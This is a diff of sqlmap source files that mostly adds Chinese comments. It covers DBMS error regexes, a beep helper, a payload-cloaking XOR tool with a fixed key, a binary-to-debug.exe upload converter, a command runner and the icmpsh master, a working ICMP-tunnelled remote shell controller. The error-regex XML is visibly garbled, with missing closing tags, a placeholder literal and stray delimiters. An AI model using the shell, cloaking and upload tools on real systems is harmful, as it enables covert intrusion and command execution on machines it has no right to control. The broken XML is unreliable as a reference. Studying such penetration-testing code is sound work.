<error regexp="Pdo[./_\\](Oracle|OCI)"/> <!-- 匹配PDO的Oracle或OCI驱动的错误信息 -->
<error regexp="OracleException"/> <!-- 匹配Oracle异常的错误信息 -->
</dbms>
<dbms value="Vertica">
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
<error regexp="/vertica/Parser/scan"/>
<error regexp="com\.vertica\.jdbc"/>
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
<error regexp="com\.vertica\.dsi\.dataengine"/>
<dbms value="IBM DB2"> <!-- 定义数据库管理系统为IBM DB2 -->
<error regexp="CLI Driver.*?DB2"/> <!-- 匹配DB2 CLI驱动的错误信息 -->
<error regexp="DB2 SQL error"/> <!-- 匹配DB2 SQL错误的通用错误信息 -->
<error regexp="\bdb2_\w+\(" /> <!-- 匹配DB2相关函数调用的错误信息 -->
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/> <!-- 匹配包含SQLCODE和SQLSTATE的错误信息 -->
<error regexp="com\.ibm\.db2\.jcc"/> <!-- 匹配IBM DB2 JCC驱动的错误信息 -->
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/> <!-- 匹配Zend框架中DB2相关的异常信息 -->
<error regexp="Pdo[./_\\]Ibm"/> <!-- 匹配PDO IBM DB2驱动的错误信息 -->
<error regexp="DB2Exception"/> <!-- 匹配DB2异常的错误信息 -->
<error regexp="ibm_db_dbi\.ProgrammingError"/> <!-- 匹配ibm_db_dbi模块中的编程错误信息 -->
</dbms>
<dbms value="Mckoi">
<error regexp="com\.mckoi\.JDBCDriver"/>
<error regexp="com\.mckoi\.database\.jdbc"/>
<error regexp="&lt;REGEX_LITERAL&gt;"/>
<dbms value="Informix"> <!-- 定义数据库管理系统为Informix -->
<error regexp="Warning.*?\Wifx_"/> <!-- 匹配Informix扩展相关的警告信息 -->
<error regexp="Exception.*?Informix"/> <!-- 匹配Informix相关的异常信息 -->
<error regexp="Informix ODBC Driver"/> <!-- 匹配Informix ODBC驱动的错误信息 -->
<error regexp="ODBC Informix driver"/> <!-- 匹配ODBC Informix驱动的错误信息 -->
<error regexp="com\.informix\.jdbc"/> <!-- 匹配Informix JDBC驱动的错误信息 -->
<error regexp="weblogic\.jdbc\.informix"/> <!-- 匹配WebLogic中Informix JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Informix"/> <!-- 匹配PDO Informix驱动的错误信息 -->
<error regexp="IfxException"/> <!-- 匹配Informix异常的错误信息 -->
</dbms>
<!-- Interbase/Firebird -->
<dbms value="Firebird"> <!-- 定义数据库管理系统为Firebird -->
<error regexp="Dynamic SQL Error"/> <!-- 匹配动态SQL错误的错误信息 -->
<error regexp="Warning.*?\Wibase_"/> <!-- 匹配Firebird扩展相关的警告信息 -->
<error regexp="org\.firebirdsql\.jdbc"/> <!-- 匹配Firebird SQL JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Firebird"/> <!-- 匹配PDO Firebird驱动的错误信息 -->
</dbms>
<dbms value="Presto">
<error regexp="com\.facebook\.presto\.jdbc"/>
<error regexp="io\.prestosql\.jdbc"/>
<error regexp="com\.simba\.presto\.jdbc"/>
<error regexp="UNION query has different number of fields: \d+, \d+"/>
<error regexp="line \d+:\d+: mismatched input '[^']+'. Expecting:"/>
<dbms value="SQLite"> <!-- 定义数据库管理系统为SQLite -->
<error regexp="SQLite/JDBCDriver"/> <!-- 匹配SQLite JDBC驱动的错误信息 -->
<error regexp="SQLite\.Exception"/> <!-- 匹配SQLite异常的错误信息 -->
<error regexp="(Microsoft|System)\.Data\.SQLite\.SQLiteException"/> <!-- 匹配Microsoft或System Data的SQLite异常信息 -->
<error regexp="Warning.*?\W(sqlite_|SQLite3::)"/> <!-- 匹配与SQLite或SQLite3相关的警告信息 -->
<error regexp="$SQLITE_ERROR$"/> <!-- 匹配SQLite错误的错误信息 -->
<error regexp="SQLite error \d+:"/> <!-- 匹配SQLite错误代码的信息 -->
<error regexp="sqlite3.OperationalError:"/> <!-- 匹配SQLite3操作错误的信息 -->
<error regexp="SQLite3::SQLException"/> <!-- 匹配SQLite3 SQL异常的信息 -->
<error regexp="org\.sqlite\.JDBC"/> <!-- 匹配SQLite JDBC驱动的错误信息 -->
<error regexp="Pdo[./_\\]Sqlite"/> <!-- 匹配PDO SQLite驱动的错误信息 -->
<error regexp="SQLiteException"/> <!-- 匹配SQLite异常的错误信息 -->
</dbms>
<dbms value="Altibase">
<error regexp="Altibase\.jdbc\.driver"/>
<dbms value="SAP MaxDB"> <!-- 定义数据库管理系统为SAP MaxDB -->
<error regexp="SQL error.*?POS([0-9]+)"/> <!-- 匹配SQL错误信息并捕捉位置编号 -->
<error regexp="Warning.*?\Wmaxdb_"/> <!-- 匹配MaxDB扩展相关的警告信息 -->
<error regexp="DriverSapDB"/> <!-- 匹配SapDB驱动的错误信息 -->
<error regexp="-3014.*?Invalid end of SQL statement"/> <!-- 匹配SQL语句无效结束的错误信息 -->
<error regexp="com\.sap\.dbtech\.jdbc"/> <!-- 匹配SAP DBTech JDBC驱动的错误信息 -->
<error regexp="$-3008$.*?: Invalid keyword or missing delimiter"/> <!-- 匹配无效关键字或缺失分隔符的错误信息 -->
</dbms>
<dbms value="MimerSQL">
<error regexp="com\.mimer\.jdbc"/>
<error regexp="Syntax error,[^\n]+assumed to mean"/>
<dbms value="Sybase"> <!-- 定义数据库管理系统为Sybase -->
<error regexp="Warning.*?\Wsybase_"/> <!-- 匹配Sybase扩展相关的警告信息 -->
<error regexp="Sybase message"/> <!-- 匹配Sybase消息的错误信息 -->
<error regexp="Sybase.*?Server message"/> <!-- 匹配Sybase服务器消息的错误信息 -->
<error regexp="SybSQLException"/> <!-- 匹配Sybase异常的错误信息 -->
<error regexp="Sybase\.Data\.AseClient"/> <!-- 匹配Sybase .NET AseClient的错误信息 -->
<error regexp="com\.sybase\.jdbc"/> <!-- 匹配Sybase JDBC驱动的错误信息 -->
</dbms>
<dbms value="ClickHouse">
<error regexp="Code: \d+. DB::Exception:"/>
<error regexp="Syntax error: failed at position \d+"/>
<dbms value="Ingres"> <!-- 定义数据库管理系统为Ingres -->
<error regexp="Warning.*?\Wingres_"/> <!-- 匹配Ingres扩展相关的警告信息 -->
<error regexp="Ingres SQLSTATE"/> <!-- 匹配Ingres SQLSTATE的错误信息 -->
<error regexp="Ingres\W.*?Driver"/> <!-- 匹配Ingres驱动的错误信息 -->
<error regexp="com\.ingres\.gcf\.jdbc"/> <!-- 匹配Ingres GCF JDBC驱动的错误信息 -->
</dbms>
<dbms value="CrateDB">
<error regexp="io\.crate\.client\.jdbc"/>
<dbms value="FrontBase"> <!-- 定义数据库管理系统为FrontBase -->
<error regexp="Exception (condition )?\d+\. Transaction rollback"/> <!-- 匹配回滚事务的异常信息 -->
<error regexp="com\.frontbase\.jdbc"/> <!-- 匹配FrontBase JDBC驱动的错误信息 -->
<error regexp="Syntax error 1. Missing"/> <!-- 匹配语法错误,未找到某些内容 -->
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/> <!-- 匹配语义或语法错误,后跟特定的错误码 -->
</dbms>
<dbms value="Cache">
<error regexp="encountered after end of query"/>
<error regexp="A comparison operator is required here"/>
<dbms value="HSQLDB"> <!-- 定义数据库管理系统为HSQLDB -->
<error regexp="Unexpected end of command in statement $"/> <!-- 匹配在SQL语句中指令意外结束的错误信息 -->
<error regexp="Unexpected token.*?in statement \["/> <!-- 匹配在SQL语句中意外标记的错误信息 -->
<error regexp="org\.hsqldb\.jdbc"/> <!-- 匹配HSQLDB JDBC驱动的错误信息 -->
</dbms>
<dbms value="Raima Database Manager">
<error regexp="-10048: Syntax error"/>
<error regexp="rdmStmtPrepare\(.+?\) returned"/>
<dbms value="H2"> <!-- 定义数据库管理系统为H2 -->
<error regexp="org\.h2\.jdbc"/> <!-- 匹配H2 JDBC驱动的错误信息 -->
<error regexp="\[42000-192$"/> <!-- 匹配H2特定错误代码的信息 -->
</dbms>
<dbms value="Virtuoso">
<error regexp="SQ074: Line \d+:"/>
<error regexp="SR185: Undefined procedure"/>
<error regexp="SQ200: No table "/>
<error regexp="Virtuoso S0002 Error"/>
<error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
<dbms value="MonetDB"> <!-- 定义数据库管理系统为MonetDB -->
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/> <!-- 匹配包含特定错误前缀的MonetDB错误信息 -->
<error regexp="$MonetDB$\[ODBC Driver"/> <!-- 匹配MonetDB ODBC驱动的错误信息 -->
<error regexp="nl\.cwi\.monetdb\.jdbc"/> <!-- 匹配MonetDB JDBC驱动的错误信息 -->
</dbms>
</root>

File diff suppressed because it is too large Load Diff

@ -9,96 +9,114 @@ See the file 'LICENSE' for copying permission
import os
import sys
import wave
import wave # 用于处理 WAV 文件格式
# 指定蜂鸣音频文件的路径
BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav")
def beep():
"""根据操作系统播放蜂鸣声。"""
try:
# 检测操作系统并调用相应的播放方法
if sys.platform.startswith("win"):
_win_wav_play(BEEP_WAV_FILENAME)
_win_wav_play(BEEP_WAV_FILENAME) # Windows 系统使用 WAV 播放
elif sys.platform.startswith("darwin"):
_mac_beep()
_mac_beep() # macOS 系统使用系统蜂鸣
elif sys.platform.startswith("cygwin"):
_cygwin_beep(BEEP_WAV_FILENAME)
_cygwin_beep(BEEP_WAV_FILENAME) # Cygwin 使用音频文件播放
elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
_linux_wav_play(BEEP_WAV_FILENAME)
_linux_wav_play(BEEP_WAV_FILENAME) # Linux 和 FreeBSD 系统使用 WAV 播放
else:
_speaker_beep()
_speaker_beep() # 其他系统使用控制台蜂鸣
except:
# 捕获异常并使用控制台蜂鸣
_speaker_beep()
def _speaker_beep():
sys.stdout.write('\a') # doesn't work on modern Linux systems
"""在控制台播放蜂鸣声(警报声)。"""
sys.stdout.write('\a') # 在现代 Linux 系统上可能无效
try:
sys.stdout.flush()
sys.stdout.flush() # 尝试刷新标准输出
except IOError:
pass
pass # 忽略任何 I/O 错误
# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html
# Cygwin 使用系统命令播放音频文件
def _cygwin_beep(filename):
os.system("play-sound-file '%s' 2>/dev/null" % filename)
# macOS 系统使用 Carbon 库的 SysBeep 函数
def _mac_beep():
import Carbon.Snd
Carbon.Snd.SysBeep(1)
import Carbon.Snd # 导入 Carbon 库
Carbon.Snd.SysBeep(1) # 播放系统蜂鸣声
# Windows 系统播放 WAV 文件
def _win_wav_play(filename):
import winsound
import winsound # 导入 winsound 库
winsound.PlaySound(filename, winsound.SND_FILENAME)
winsound.PlaySound(filename, winsound.SND_FILENAME) # 播放指定的 WAV 文件
# Linux 系统播放 WAV 文件的实现
def _linux_wav_play(filename):
# 尝试使用不同的命令播放音频文件
for _ in ("aplay", "paplay", "play"):
if not os.system("%s '%s' 2>/dev/null" % (_, filename)):
return
return # 成功播放音乐后返回
import ctypes
import ctypes # 导入 ctypes 库以调用 C 函数
# PulseAudio 的相关常量定义
PA_STREAM_PLAYBACK = 1
PA_SAMPLE_S16LE = 3
BUFFSIZE = 1024
BUFFSIZE = 1024 # 缓冲区大小
# 定义 PulseAudio 样本规格的结构
class struct_pa_sample_spec(ctypes.Structure):
_fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)]
try:
pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") # 加载 PulseAudio 库
except OSError:
return
return # 如果加载失败,则返回
# 打开 WAV 文件
wave_file = wave.open(filename, "rb")
# 设置 PulseAudio 样本规格
pa_sample_spec = struct_pa_sample_spec()
pa_sample_spec.rate = wave_file.getframerate()
pa_sample_spec.channels = wave_file.getnchannels()
pa_sample_spec.format = PA_SAMPLE_S16LE
pa_sample_spec.rate = wave_file.getframerate() # 获取采样频率
pa_sample_spec.channels = wave_file.getnchannels() # 获取声道数
pa_sample_spec.format = PA_SAMPLE_S16LE # 设置样本格式
error = ctypes.c_int(0)
pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error))
# 创建 PulseAudio 流
pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None,
"playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error))
if not pa_stream:
raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error)))
while True:
# 获取延迟
latency = pa.pa_simple_get_latency(pa_stream, ctypes.byref(error))
if latency == -1:
raise Exception("Getting latency failed")
buf = wave_file.readframes(BUFFSIZE)
buf = wave_file.readframes(BUFFSIZE) # 从 WAV 文件读取帧
if not buf:
break
break # 如果没有更多帧可读,退出循环
# 播放读取的帧
if pa.pa_simple_write(pa_stream, buf, len(buf), ctypes.byref(error)):
raise Exception("Could not play file")
wave_file.close()
wave_file.close() # 关闭 WAV 文件
# 确保所有数据都已播放完成
if pa.pa_simple_drain(pa_stream, ctypes.byref(error)):
raise Exception("Could not simple drain")
pa.pa_simple_free(pa_stream)
pa.pa_simple_free(pa_stream) # 释放 PulseAudio 流资源
if __name__ == "__main__":
beep()
beep() # 调用蜂鸣函数

@ -7,82 +7,99 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import print_function
from __future__ import print_function # 兼容 Python 2 和 3 的 print 函数
import os
import struct
import sys
import zlib
import zlib # 用于数据压缩和解压缩
from optparse import OptionError
from optparse import OptionParser
# 在 Python 3 中定义 xrange 和 ord 的兼容
if sys.version_info >= (3, 0):
xrange = range
ord = lambda _: _
xrange = range # 使用 Python 3 的 range
ord = lambda _: _ # 在 Python 3 中直接使用字符
KEY = b"E6wRbVhD0IBeCiGJ"
KEY = b"E6wRbVhD0IBeCiGJ" # 定义加密/解密的密钥
def xor(message, key):
"""执行 XOR 操作,返回加密或解密后的字节序列。"""
# 对 message 的每个字节进行 XOR 运算,并返回字节串
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
def cloak(inputFile=None, data=None):
"""对输入文件或数据进行加密和压缩。"""
if data is None:
# 如果没有提供数据,则读取文件内容
with open(inputFile, "rb") as f:
data = f.read()
data = f.read() # 以二进制模式读取文件数据
# 对数据进行压缩后再使用 XOR 加密
return xor(zlib.compress(data), KEY)
def decloak(inputFile=None, data=None):
"""对输入文件或数据进行解密和解压缩。"""
if data is None:
# 如果没有提供数据,则读取文件内容
with open(inputFile, "rb") as f:
data = f.read()
try:
# 首先对数据进行 XOR 解密,然后解压缩
data = zlib.decompress(xor(data, KEY))
except Exception as ex:
# 如果解压缩过程中发生异常,打印错误信息并退出
print(ex)
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
sys.exit(1)
finally:
f.close()
f.close() # 确保文件流被关闭
return data
return data # 返回解密后的数据
def main():
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.2')
"""主函数,负责解析命令行参数并执行加密或解密操作。"""
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0] # 使用说明
parser = OptionParser(usage=usage, version='0.2') # 创建 OptionParser 对象
try:
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
parser.add_option('-i', dest='inputFile', help='Input file')
parser.add_option('-o', dest='outputFile', help='Output file')
# 添加命令行选项
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') # 解密选项
parser.add_option('-i', dest='inputFile', help='Input file') # 输入文件选项
parser.add_option('-o', dest='outputFile', help='Output file') # 输出文件选项
(args, _) = parser.parse_args()
(args, _) = parser.parse_args() # 解析命令行参数
if not args.inputFile:
parser.error('Missing the input file, -h for help')
parser.error('Missing the input file, -h for help') # 如果未提供输入文件,则报错
except (OptionError, TypeError) as ex:
parser.error(ex)
parser.error(ex) # 捕获解析错误
# 检查输入文件是否存在
if not os.path.isfile(args.inputFile):
print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile)
sys.exit(1)
# 根据是否需要解密选择处理函数
if not args.decrypt:
data = cloak(args.inputFile)
data = cloak(args.inputFile) # 加密文件内容
else:
data = decloak(args.inputFile)
data = decloak(args.inputFile) # 解密文件内容
# 如果未指定输出文件名,则根据是否解密自动生成
if not args.outputFile:
if not args.decrypt:
args.outputFile = args.inputFile + '_'
args.outputFile = args.inputFile + '_' # 添加后缀表示加密
else:
args.outputFile = args.inputFile[:-1]
args.outputFile = args.inputFile[:-1] # 移除后缀表示解密
# 写入结果到输出文件
f = open(args.outputFile, 'wb')
f.write(data)
f.close()
f.write(data) # 写入数据
f.close() # 关闭文件
if __name__ == '__main__':
main()
main() # 程序入口

@ -7,7 +7,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import print_function
from __future__ import print_function # 兼容 Python 2 和 3 的 print 函数
import os
import sys
@ -16,81 +16,97 @@ from optparse import OptionError
from optparse import OptionParser
def convert(inputFile):
fileStat = os.stat(inputFile)
fileSize = fileStat.st_size
"""将给定的二进制输入文件转换为 ASCII 调试脚本。"""
fileStat = os.stat(inputFile) # 获取文件状态
fileSize = fileStat.st_size # 获取文件大小
# 检查文件大小是否超过 65280 字节(可调试的最大限制)
if fileSize > 65280:
print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile)
sys.exit(1)
sys.exit(1) # 如果文件太大,退出程序
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
script += "%x\nf 0100 ffff 00\n" % fileSize
scrString = ""
counter = 256
counter2 = 0
# 开始构建调试脚本
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) # 设置脚本名称
script += "%x\nf 0100 ffff 00\n" % fileSize # 写入文件大小信息
scrString = "" # 用于构建写入命令
counter = 256 # 地址计数器从 256 开始
counter2 = 0 # 0 计数器,用于控制输出的字符数
# 读取输入文件的二进制内容
fp = open(inputFile, "rb")
fileContent = fp.read()
fileContent = fp.read() # 读取所有内容
# 遍历文件的每个字节
for fileChar in fileContent:
# 在 Python 3 中字符是字节,直接使用;在 Python 2 中需要使用 ord() 函数
unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar)
# 如果字符不是空字节0则进行处理
if unsignedFileChar != 0:
counter2 += 1
counter2 += 1 # 增加有效字符计数
if not scrString:
# 如果 scrString 为空,开始创建新的写入命令
scrString = "e %0x %02x" % (counter, unsignedFileChar)
else:
# 否则,将字符附加到 scrString 中
scrString += " %02x" % unsignedFileChar
elif scrString:
# 如果遇到空字节,且 scrString 中有内容,需要把当前 scrString 添加到脚本
script += "%s\n" % scrString
scrString = ""
counter2 = 0
scrString = "" # 清空 scrString
counter2 = 0 # 重置有效字符计数
counter += 1
counter += 1 # 增加地址计数器
# 每 20 个有效字符输出一次
if counter2 == 20:
script += "%s\n" % scrString
scrString = ""
counter2 = 0
script += "%s\n" % scrString # 将当前 scrString 加入脚本
scrString = "" # 清空 scrString
counter2 = 0 # 重置计数
# 完成脚本,添加结束指令
script += "w\nq\n"
return script
return script # 返回生成的调试脚本
def main(inputFile, outputFile):
"""主功能,处理文件输入输出。"""
# 检查输入文件是否是常规文件
if not os.path.isfile(inputFile):
print("ERROR: the provided input file '%s' is not a regular file" % inputFile)
sys.exit(1)
sys.exit(1) # 如果不是,退出程序
# 调用转换函数
script = convert(inputFile)
# 如果提供了输出文件,写入脚本
if outputFile:
fpOut = open(outputFile, "w")
sys.stdout = fpOut
sys.stdout.write(script)
sys.stdout.close()
with open(outputFile, "w") as fpOut:
sys.stdout = fpOut # 将标准输出重定向到输出文件
sys.stdout.write(script) # 写入脚本内容
sys.stdout.close() # 关闭文件
else:
print(script)
print(script) # 如果没有输出文件,直接打印脚本
if __name__ == "__main__":
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
parser = OptionParser(usage=usage, version="0.1")
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0] # 程序用法说明
parser = OptionParser(usage=usage, version="0.1") # 创建解析器
try:
parser.add_option("-i", dest="inputFile", help="Input binary file")
parser.add_option("-o", dest="outputFile", help="Output debug.exe text file")
# 添加命令行选项
parser.add_option("-i", dest="inputFile", help="Input binary file") # 输入文件
parser.add_option("-o", dest="outputFile", help="Output debug.exe text file") # 输出文件
(args, _) = parser.parse_args()
(args, _) = parser.parse_args() # 解析参数
if not args.inputFile:
parser.error("Missing the input file, -h for help")
parser.error("Missing the input file, -h for help") # 必须提供输入文件
except (OptionError, TypeError) as ex:
parser.error(ex)
parser.error(ex) # 捕获错误并报告
inputFile = args.inputFile
outputFile = args.outputFile
inputFile = args.inputFile # 输入文件名
outputFile = args.outputFile # 输出文件名
main(inputFile, outputFile)
main(inputFile, outputFile) # 调用主函数

@ -5,7 +5,6 @@
#
# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@ -28,117 +27,117 @@ def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
import fcntl # 导入用于文件控制选项的库
import fcntl
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
flags = fcntl.fcntl(fd, fcntl.F_GETFL) # 获取当前文件描述符的状态标志
flags = flags | os.O_NONBLOCK # 将非阻塞标志添加到当前标志
fcntl.fcntl(fd, fcntl.F_SETFL, flags) # 设置文件描述符为非阻塞模式
def main(src, dst):
"""主程序函数,用于设置 ICMP socket 和处理命令。"""
if sys.platform == "nt":
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.stderr.write('icmpsh master can only run on Posix systems\n') # 检查是否在 Windows 上运行
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
from impacket import ImpactDecoder # 导入 Impacket 库用于解析数据包
from impacket import ImpactPacket # 导入 Impacket 用于构建数据包
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.stderr.write('You need to install Python Impacket library first\n') # 检查是否安装 Impacket
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
# 将标准输入设置为非阻塞
stdin_fd = sys.stdin.fileno() # 获取标准输入的文件描述符
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
# 为 ICMP 协议打开一个 socket
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) # 创建原始 ICMP socket
except socket.error:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.stderr.write('You need to run icmpsh master with administrator privileges\n') # 检查运行权限
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sock.setblocking(0) # 设置 socket 为非阻塞模式
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # 启用 IP 头包含在发送包中
# Create a new IP packet and set its source and destination addresses
# 创建一个新的 IP 包,设置源和目的地址
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
ip.set_ip_src(src) # 设置源 IP
ip.set_ip_dst(dst) # 设置目标 IP
# Create a new ICMP packet of type ECHO REPLY
# 创建一个新的 ICMP 包类型为回显应答ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
# 实例化 IP 数据包解码器
decoder = ImpactDecoder.IPDecoder()
# 在无限循环中发送和接收命令
while True:
try:
cmd = ''
# Wait for incoming replies
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
# 等待输入的回复
if sock in select.select([sock], [], [])[0]: # 监控 socket 是否可读
buff = sock.recv(4096) # 接收最大 4096 字节的数据
if 0 == len(buff):
# Socket remotely closed
# 如果接收到的数据长度为 0说明对方关闭了 socket
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# 解析接收到的数据包
ippacket = decoder.decode(buff) # 解码 IP 包
icmppacket = ippacket.child() # 获取 ICMP 包
# If the packet matches, report it to the user
# 检查 ICMP 数据包的源和目的地址以及类型
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
# 获取标识符和序列号
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
data = icmppacket.get_data_as_string() # 获取数据
if len(data) > 0:
sys.stdout.write(data)
sys.stdout.write(data) # 输出接收到的数据
# Parse command from standard input
# 从标准输入读取命令
try:
cmd = sys.stdin.readline()
cmd = sys.stdin.readline() # 读取用户输入的命令
except:
pass
if cmd == 'exit\n':
if cmd == 'exit\n': # 如果输入为 'exit',退出循环
return
# Set sequence number and identifier
# 设置序列号和标识符,以便回复
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
# 将命令作为数据包含在 ICMP 包中
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
# 计算 ICMP 包的校验和
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
icmp.auto_checksum = 1 # 自动计算校验和
# Have the IP packet contain the ICMP packet (along with its payload)
# 将 ICMP 包插入到 IP 包中
ip.contains(icmp)
try:
# Send it to the target host
# 发送数据包到目标主机
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.write("'%s'\n" % ex) # 输出错误信息
sys.stderr.flush()
except:
break
if __name__ == '__main__':
# 检查参数,确保提供了源 IP 和目标 IP
if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg)
sys.exit(1)
main(sys.argv[1], sys.argv[2])
main(sys.argv[1], sys.argv[2]) # 调用主函数,传入源和目标 IP

@ -2,7 +2,7 @@
runcmd - a program for running command prompt commands
Copyright (C) 2010 Miroslav Stampar
email: miroslav.stampar@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
@ -25,22 +25,27 @@
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
FILE *fp;
string cmd;
FILE *fp;
string cmd;
for( int count = 1; count < argc; count++ )
cmd += " " + string(argv[count]);
// 从命令行参数获取命令并构建完整的命令字符串
for (int count = 1; count < argc; count++)
cmd += " " + string(argv[count]); // 将每个参数添加到 cmd 字符串中,并用空格分隔
// 使用 _popen() 函数以只读的方式打开一个命令进程
fp = _popen(cmd.c_str(), "r");
// 检查文件指针是否有效
if (fp != NULL) {
char buffer[BUFSIZ];
char buffer[BUFSIZ]; // 声明一个缓冲区用于接收输出
// 读取命令的输出并将其写到标准输出
while (fgets(buffer, sizeof buffer, fp) != NULL)
fputs(buffer, stdout);
fputs(buffer, stdout); // 将缓冲区的内容输出到控制台
}
return 0;
}
}

@ -3,28 +3,32 @@
# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files
# Removes duplicate entries in wordlist-like files
from __future__ import print_function
from __future__ import print_function # 确保使用 Python 3 的 print() 函数
import sys
import sys # 导入系统模块,用于处理命令行参数和文件操作
if __name__ == "__main__":
# 检查程序是否接收到至少一个命令行参数
if len(sys.argv) > 1:
items = list()
items = list() # 初始化一个列表用于存储唯一条目
# 打开指定的文件进行读取
with open(sys.argv[1], 'r') as f:
for item in f:
item = item.strip()
for item in f: # 遍历文件中的每一行
item = item.strip() # 去掉行首尾的空白字符
try:
str.encode(item)
if item in items:
if item:
print(item)
str.encode(item) # 尝试对字符串编码,确保内容是有效的字符串
if item in items: # 检查条目是否已经在列表中
if item: # 确保条目不为空
print(item) # 打印重复的条目
else:
items.append(item)
items.append(item) # 如果条目不在列表中,则添加到列表
except:
pass
pass # 捕获异常,继续处理下一个条目
# 以写入模式打开同一个文件,准备写入去重后的唯一条目
with open(sys.argv[1], 'w+') as f:
f.writelines("\n".join(items))
f.writelines("\n".join(items)) # 将唯一条目写回文件,以换行符分隔

@ -6,25 +6,30 @@ import os
import sys
def check(filepath):
if filepath.endswith(".py"):
content = open(filepath, "rb").read()
pattern = "\n\n\n".encode("ascii")
# 检查给定路径的文件
if filepath.endswith(".py"): # 检查文件扩展名是否为 .py
content = open(filepath, "rb").read() # 以二进制模式打开文件并读取全部内容
pattern = "\n\n\n".encode("ascii") # 定义一个二进制模式的换行符序列,表示三个换行符
# 检查内容中是否包含三个连续的换行符
if pattern in content:
index = content.find(pattern)
index = content.find(pattern) # 找到模式在内容中的第一个出现位置
# 打印文件路径和模式前后各 30 个字节的内容
print(filepath, repr(content[index - 30:index + 30]))
if __name__ == "__main__":
try:
BASE_DIRECTORY = sys.argv[1]
except IndexError:
BASE_DIRECTORY = sys.argv[1] # 尝试获取命令行中指定的目录路径
except IndexError: # 如果没有指定目录参数
print("no directory specified, defaulting to current working directory")
BASE_DIRECTORY = os.getcwd()
BASE_DIRECTORY = os.getcwd() # 使用当前工作目录作为默认目录
print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY)
# 遍历指定目录及其子目录中的所有文件
